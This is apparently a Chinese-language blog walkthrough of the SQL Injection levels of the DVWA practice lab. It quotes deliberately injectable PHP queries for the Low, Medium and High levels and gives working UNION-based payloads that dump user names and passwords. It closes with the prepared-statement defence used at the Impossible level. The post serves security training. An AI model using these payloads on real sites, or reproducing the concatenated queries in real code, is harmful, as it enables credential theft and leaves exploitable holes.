往期博文:
DVWA靶場-Brute Force Source 暴力破解
靶場環境搭建
目錄
SQL Injection
Low SQL Injection
核心代碼
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
// 查詢數據庫
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
}
?>
單引號閉合,沒有進行任何過濾,直接聯合查詢走一波
?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#
Medium SQL Injection
核心代碼
<?php
$id = $_POST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
?>
這裏和low級別的區別在於有原來的get 方式提交變成了post 方式,且由原來的單引號閉合變爲了直接拼接sql 語句
id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#
High SQL Injection
核心代碼
<?php
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
?>
high 級別使用了session 獲取id 值,閉合方式單引號閉合
直接在跳轉的輸入框內輸入:
-1' union select 1,(select+group_concat(user,password) from users)#
Impossible SQL
核心代碼
<?php
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 檢查是否是數字或字母
if(is_numeric( $id )) {
// 預編譯
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible級別 首先使用了Anti-CSRF token機制,提高了其安全性。其次採用了預編譯語句和PDO技術,有效防禦SQL注入。